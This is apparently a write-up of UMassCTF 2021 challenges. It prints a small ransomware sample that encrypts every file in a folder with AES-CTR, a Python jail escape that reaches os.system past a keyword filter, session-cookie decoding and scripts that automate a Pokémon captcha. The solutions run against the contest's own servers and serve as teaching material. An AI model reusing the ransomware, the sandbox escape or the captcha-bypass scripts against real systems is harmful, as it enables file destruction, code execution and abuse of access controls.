# UMassCTF'21 - By CTF Community
## Crypto
### Malware
Challenge Description
```
Challenge 78 Solves
malware 434
We've identified some ransomeware on one of our employee's systems, but it seems like it was made by a script kiddie. Think you can decrypt the files for us?
http://static.ctf.umasscybersec.org/crypto/768d923e-9263-4433-a8d3-a595b30d210e/malware.zip
```
The link refer to a zipfile which constaints:
* malware.py
* files.zip
The malware python code is the following:
```
from Crypto.Cipher import AES
from Crypto.Util import Counter
import binascii
import os
key = os.urandom(16)
iv = int(binascii.hexlify(os.urandom(16)), 16)
for file_name in os.listdir():
data = open(file_name, 'rb').read()
cipher = AES.new(key, AES.MODE_CTR, counter = Counter.new(128, initial_value=iv))
enc = open(file_name + '.enc', 'wb')
enc.write(cipher.encrypt(data))
iv += 1
```
It ciphers the content of the current folder by using AES-CTR mode. However, the IV is reinitialized for each file and increase by 1. As this mode works like a stream cipher, if the first file can be deciphered and is sufficiently long, we can decipher the flag... Wait, where is the flag !
The files.zip constaints:
* CTF-favicon.png.enc
* flag.txt.enc
* malware.py.enc
* shopping_list.txt.enc
The flag is encrypted and the known file is "CTF-favicon.png.enc" which is on this webpage https://ctf.umasscybersec.org/

Ok, let script the solution and hope that files are in the good order !
```
with open("CTF-favicon.png","r") as fp:
pt=fp.read()
with open("CTF-favicon.png.enc","r") as fp:
ct=fp.read()
for k in range(0,64,16):
key=[]
l=k
p=0
for i in range(len(ct)):
key.append(ord(pt[i])^ord(ct[i]))
with open("flag.txt.enc","r") as fp:
flag=fp.read()
print(key[0:64])
tmp=""
print(len(flag))
for i in range(len(flag)-p):
tmp+= chr(ord(flag[i+p])^key[i+l])
print(tmp)
raw_input()
```
and gives:
```shell=
python solve.py
[93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69]
38
珯}����Ab��H
��۳`�WȽ,���>EI�)
[93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69]
38
�����o$^�WjF����c Ms%ؼ��-��H�
[93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69]
38
��u�W�e���R#�*��p���14�z
[93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69]
38
UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}
```
**UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}**
## Misc
### ekrpat
```
ekrpat 322
I made so few errors when creating this jail.
nc 34.72.64.224 8083
nc 35.231.20.75 8083
Created by Thomas (Seltzerz #6678)
hint: Look down at where you're typing.
```
Ok, typical hint of keyboard ciphering,
Let's connect with netcat
```shell=
kali@kali:~$ nc 34.72.64.224 8083
Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv
```
Or, by using http://wbic16.xedoloh.com/dvorak.html
```shell=
You've broken my code!
Escape without the help of eval,
exec, import, open, os, read, system, and write.
First, enter 'dvorak'.
You will then get another input which you can use try to break out of the jail.
```
Then, we are ask to break the python jail (https://anee.me/escaping-python-jails-849c65cf306e)
**Try 1**
```shell=
print(dir(__builtins__))
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException',
'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning',
'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError',
'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning',
'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False',
'FileExistsError', 'FileNotFoundError', 'FloatingPointError',
'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError',
'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError',
'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError',
'MemoryError', 'ModuleNotFoundError', 'NameError', 'None',
'NotADirectoryError', 'NotImplemented', 'NotImplementedError',
'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError',
'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning',
'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration',
'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError',
'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning',
'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__',
'__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__',
'__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray',
'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright',
'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec',
'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals',
'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass',
'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min',
'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit',
'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted',
'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
```
**Try 2**
```shell=
>>> __builtins__.__dict__['open']
Play by the rules!!! Try again.
```
**Try 3**
```shell=
print(__builtins__.__dict__['OPEN'.lower()])
<built-in function open>
<built-in function open>
<built-in function open>
<built-in function open>
<built-in function open>
<built-in function open>
<built-in function open>
<built-in function open>
```
**Try 4**
```shell=
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls')
Dockerfile
ekrpat.py
flag
ojal.
ynetd
```
**Try 5**
```shell=
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat flag')
UMASS{dvorak_rules}
```
**UMASS{dvorak_rules}**
## Web
### PikCha (1)
```
Challenge 153 Solves
PikCha 241
http://104.197.195.221:8084 http://34.121.84.161:8084
Created by Soul#8230
```
Ok, we need to identify pokemon (in english...)

Ok, when looking into the details, we see the following jwt session token.
```
eyJhbnN3ZXIiOls3NCwyNywzNSw4NV0sImNvcnJlY3QiOjAsImltYWdlIjoiLi9zdGF0aWMvY2hhbGwtaW1hZ2VzL2dFYUJ0U3pCaHMuanBnIn0.YGIMEw.bzR3iZ4GfwRpeaJX27U04PgGRRo
```
and it contains (https://jwt.io/)
```
{
"answer": [
74,
27,
35,
85
],
"correct": 0,
"image": "./static/chall-images/gEaBtSzBhs.jpg"
}
```
After trial and error, the awaited answer is the name of the pokemon.
In this case, after finding any pokemon database online [Geodude ,Sandshrew, Clefairy, Dodrio ].
Let's code it:
```
import requests
import base64
import json
import time
with open("poke.txt","r") as fp:
pokemon=fp.readlines()
def get_pokemon(cookie,pokemon):
cookie=cookie.split(".")[0]
r = len(cookie)%4
cookie+= "="*(4-r)
cookie = base64.b64decode(cookie)
name = json.loads(cookie)["answer"]
score = json.loads(cookie)["correct"]
ans=""
for elt in name:
ans+=pokemon[elt-1].replace("\t"," ").split(" ")[2].strip()+" "
return score,ans
# hackit
s = requests.session()
r = s.get('http://104.197.195.221:8084/')
for i in range(500):
if r.status_code ==200 and r.text.find("UMASS{")>-1:
print(r.text)
score,ans = get_pokemon(s.cookies.get_dict()["session"],pokemon)
print(score,ans)
print(ans)
r = s.post('http://104.197.195.221:8084/',data = {'guess':ans.strip()})
time.sleep(1)
print(r.text)
```
```shell=
kali@kali:~/Desktop/UMASS/web$ python3 pokemon.py
0 Bulbasaur Hitmonchan Tentacruel Weezing
Bulbasaur Hitmonchan Tentacruel Weezing
1 Poliwhirl Pidgeot Raichu Gloom
Poliwhirl Pidgeot Raichu Gloom
2 Mewtwo Weezing Venusaur Squirtle
Mewtwo Weezing Venusaur Squirtle
3 Charmander Abra Zubat Doduo
Charmander Abra Zubat Doduo
...
497 Seaking Onix Drowzee Omanyte
Seaking Onix Drowzee Omanyte
498 Poliwrath Porygon Clefable Spearow
Poliwrath Porygon Clefable Spearow
499 Pidgeotto Venonat Rhyhorn Abra
Pidgeotto Venonat Rhyhorn Abra
UMASS{G0tt4_c4tch_th3m_4ll_17263548}
```
**UMASS{G0tt4_c4tch_th3m_4ll_17263548}**
### PikCha2
```
Challenge 10 Solves
PikCha2 500
No more mistakes! No we'll see who's the best pokemon master out there!
http://104.197.195.221:8085
```
In this one, no more easy hacking. We need to identify the pokemon, and if possible automatically. Let's do some naive image recognition !
#### Create a Pokedex
In order to recognize the pokemon, we need a training set. We recycle the code of PikCha (1) as we know the name of the pokemon.
```
import requests
import base64
import json
import time
import shutil
with open("poke.txt","r") as fp:
pokemon=fp.readlines()
def get_pokemon(cookie,pokemon):
cookie=cookie.split(".")[0]
r = len(cookie)%4
cookie+= "="*(4-r)
cookie = base64.b64decode(cookie)
name = json.loads(cookie)["answer"]
score = json.loads(cookie)["correct"]
ans=""
for elt in name:
ans+=pokemon[elt-1].replace("\t"," ").split(" ")[2].strip()+" "
return score,ans
# get img url
def html(txt):
begin= txt.find("images/")
end = txt.find(".jpg")
return txt[begin+len("images/"):end]
# Download img
def dl(image_url,filename):
print(image_url)
# Open the url image, set stream to True, this will return the stream content.
r = requests.get(image_url, stream = True)
# Check if the image was retrieved successfully
if r.status_code == 200:
# Set decode_content value to True, otherwise the downloaded image file's size will be zero.
r.raw.decode_content = True
# Open a local file with wb ( write binary ) permission.
with open("./pokedex/"+filename,'wb') as f:
shutil.copyfileobj(r.raw, f)
print('Image sucessfully Downloaded')
else:
print('Image Couldn\'t be retreived')
# hackit
s = requests.session()
r = s.get('http://104.197.195.221:8084/')
for i in range(1000):
if r.status_code ==200 and r.text.find("UMASS{")>-1:
print(r.text)
score,ans = get_pokemon(s.cookies.get_dict()["session"],pokemon)
print(score,ans)
picture=html(r.text)+".jpg"
print(picture)
dl('http://104.197.195.221:8084/static/chall-images/'+picture,ans.strip().replace(" ","-")+".jpg")
r = s.post('http://104.197.195.221:8084/',data = {'guess':ans.strip()+"1"})
time.sleep(1)
print(r.text)
```
The aim of this step is get enough images (at least 4 different picture) for each starting pokemon (the one on the left). Example provided for Abra (Yes, I know the pokemon name know)

Abra-Jigglypuff-Dodrio-Metapod.jpg

Abra-Golbat-Magneton-Nidoran♂.jpg

Abra-Kadabra-Spearow-Sandslash.jpg

Abra-Exeggutor-Cloyster-Ekans.jpg
We observe that each pokemon to be identified is generated by a reference picture which is only rotated (no scaling, no shearing, no ...)
So, we hope that a naive patch recognition works. We extract a patch composed of all the lines from the challenge picture associated to only 10 columns. The idea is to move this windows (img[:,i:i+10,:]) from left to right to identify the successive pokemon. This patch is then compared with the 10 first columns of each picture of the previously scraped database (see the 4 images above as an example of the content of the databse). The patch is found when all the pixels are identical, that is to say when the sum of all pixels difference is nil (np.sum(patch-elt[:,0:10,:])) . The pokemon name is extracted from the file name which is the correct solution of PikCha(1).
Due to this naive approach, some cases fail (if the database is uncomplete) and the user is asked to provided the pokemon name..
Note: In this case, the solution is the pokemon index and not the pokemon name !
```
import requests
import base64
import json
import time
import shutil
from os import listdir
from os.path import isfile, join
import imageio
import numpy as np
from shutil import copyfile
# Read pokemon database
with open("poke.txt","r") as fp:
_pokemon=fp.readlines()
# pokemon name
pokemon=[x.replace("\t"," ").split(" ")[2].strip() for x in _pokemon]
# get file names
def allfile(mypath):
return [f for f in listdir(mypath) if isfile(join(mypath, f))]
mugshot= allfile("./pokedex")
# create pokedex
pokedex=[]
for elt in mugshot:
pokedex.append(imageio.imread("./pokedex/"+elt))
def identify(patch,pokedex,S):
a,b,_ = patch.shape
for i,elt in enumerate(pokedex):
c,d,_ = elt.shape
if a<=c:
if np.sum(patch-elt[0:a,0:S,:])==0:
return True,i
else:
if np.sum(patch[0:c,:,:]-elt[:,0:S,:])==0:
return True,i
return (False,elt)
def naive(pokedex,mugshot):
print("Analysis ...")
S=10
bandit = imageio.imread("./test.jpg")
m,n,_ = bandit.shape
# all position
solution=[]
for k in range(n-S):
patch = bandit[:,k:k+S,:]
boole,ans=identify(patch,pokedex,S)
if boole:
solution.append(mugshot[ans].split("-")[0])
else:
boole,ans=identify(patch[::-1,:,:],pokedex,S)
if boole:
solution.append(mugshot[ans].split("-")[0])
return solution
# get img url
def html(txt):
begin= txt.find("images/")
end = txt.find(".jpg")
return txt[begin+len("images/"):end]
# Download img
def dl(image_url,filename):
print(image_url)
# Open the url image, set stream to True, this will return the stream content.
r = requests.get(image_url, stream = True)
# Check if the image was retrieved successfully
if r.status_code == 200:
# Set decode_content value to True, otherwise the downloaded image file's size will be zero.
r.raw.decode_content = True
# Open a local file with wb ( write binary ) permission.
with open("./"+filename,'wb') as f:
shutil.copyfileobj(r.raw, f)
print('Image sucessfully Downloaded')
else:
print('Image Couldn\'t be retreived')
# hackit
s = requests.session()
r = s.get('http://104.197.195.221:8085/')
for i in range(500):
if r.status_code ==200 and r.text.find("UMASS{")>-1:
print(r.text)
print(r.text)
# dl picture
picture=html(r.text)+".jpg"
dl('http://104.197.195.221:8085/static/chall-images/'+picture,"test.jpg")
# Identify pokemon
solv=naive(pokedex,mugshot)
if len(solv)!=4:
print("Uncomplete")
print(solv)
ok=True
while ok:
print("Please enter pokemon list")
inp=str(input()).strip()
solv=inp.split(" ")
try:
if all([pokemon.index(x)>-1 for x in solv]):
ok=False
except:
pass
copyfile("test.jpg","./pokedex/"+inp.replace(" ","-")+".jpg")
ans=[str(pokemon.index(x)+1) for x in solv]
ans=" ".join(ans)
# Answer is the pokemon number
r = s.post('http://104.197.195.221:8085/',data = {'guess':ans.strip()})
time.sleep(1)
print(r.text)
```
It takes ages but :
```
python3 pokemon.py
http://104.197.195.221:8085/static/chall-images/weDbghItyI.jpg
Image sucessfully Downloaded
Analysis ...
http://104.197.195.221:8085/static/chall-images/DWQOXUAQnN.jpg
Image sucessfully Downloaded
Analysis ...
http://104.197.195.221:8085/static/chall-images/xTcgvIqRjt.jpg
Image sucessfully Downloaded
Analysis ...
```
Finally !
**UMASS{1ts_m3_4nd_y0u!!P0k3m0n}**
That's all folks - Electro